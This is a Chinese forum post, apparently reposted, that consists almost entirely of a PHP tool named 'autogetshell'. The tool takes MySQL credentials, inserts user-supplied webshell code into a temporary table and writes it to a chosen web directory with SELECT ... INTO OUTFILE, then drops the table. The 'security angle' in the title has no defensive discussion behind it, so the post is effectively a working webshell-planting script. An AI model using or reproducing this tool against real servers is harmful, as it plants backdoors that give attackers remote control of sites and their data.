返回列表 回复 发帖

autogetwebshell from secuirty angle

来源:网络技术论坛

代码
  1. <?php

  2. if ($step==1){
  3.     $link = mysql_connect($servername,$dbusername,$dbpassword);
  4.     if ($link) {
  5.     echo "<p>数据库服务器连接成功</p>";
  6.   $mysql_select=mysql_select_db($dbname);
  7.     if (!$mysql_select) {
  8.       echo "<p>test create db $dbname</p>";
  9.       if (mysql_create_db($dbname)) {echo "<p> .....:)</p>";
  10.     } else {
  11.         echo "<p>.....:(</p>";}
  12.       }

  13. $ctable = " CREATE TABLE a (cmd text NOT NULL)";
  14. $indata="INSERT INTO a (cmd) VALUES ('".$code."')";
  15. $outdata="select cmd from a into outfile '".$path."'";
  16. $dptable= "DROP TABLE IF EXISTS a";

  17. $res = mysql_query($ctable);
  18. if ($res) {echo "<p>建立表格....成功</p>";}else{echo "<p>建立表格....失败</p>";}

  19. $res1 = mysql_query($indata);
  20. if ($res1) {echo "<p>导入shell代码....成功</p>";} else{echo "<p>导入shell代码....失败</p>";}

  21. echo $outdata;
  22. $res2 = mysql_query($outdata);
  23. if ($res2) {echo "<p>导出shell....成功</p>";} else{echo "<p>导出shell....失败</p>";}

  24. $res3 = mysql_query($dptable);
  25. if ($res3) {echo "<p>删除数据....成功</p>";} else{echo "<p>删除数据....成功</p>";}

  26. } else {
  27.     echo "<p>数据库服务器连接失败</p>";}
  28. mysql_close($link);

  29. //表单填写
  30. } else{
  31.     echo "<b>设置数据</b>\n";
  32. echo "<p><form action=\"autogetshell.php\" method=\"post\"></p>\n";
  33. echo "<p><input type=\"hidden\" name=\"step\" value=\"1\"></p>\n";
  34.     echo "<p>服务器地址:<input type=\"text\" value=\"".$servername."\"name=\"servername\"></p>\n";
  35.     echo "<p>数据库名: <input type=\"text\" value=\"".$dbname."\" name=\"dbname\"></p>\n";
  36.     echo "<p>数据库用户名: <input type=\"text\" value=\"".$dbusername."\" name=\"dbusername\"></p>\n";
  37.     echo "<p>数据库用户密码: <input type=\"password\" value=\"\" name=\"dbpassword\"></p>\n";
  38. echo "<p>导出webshell路径: <input type=\"text\" value=\"".$path."\" name=\"path\"></p>\n";
  39. echo "<p>=========================================================</P>\n";
  40. echo "<p>webshell代码: <textarea value=\"".$code."\" name=\"code\" cols=80 rows=10 width=32></textarea></p>\n";
  41.     echo "<p><input type=\"submit\" name=\"next\" value=\"提交\"></p>\n";
  42. echo "</form>";
  43. }
  44. ?>
复制代码
返回列表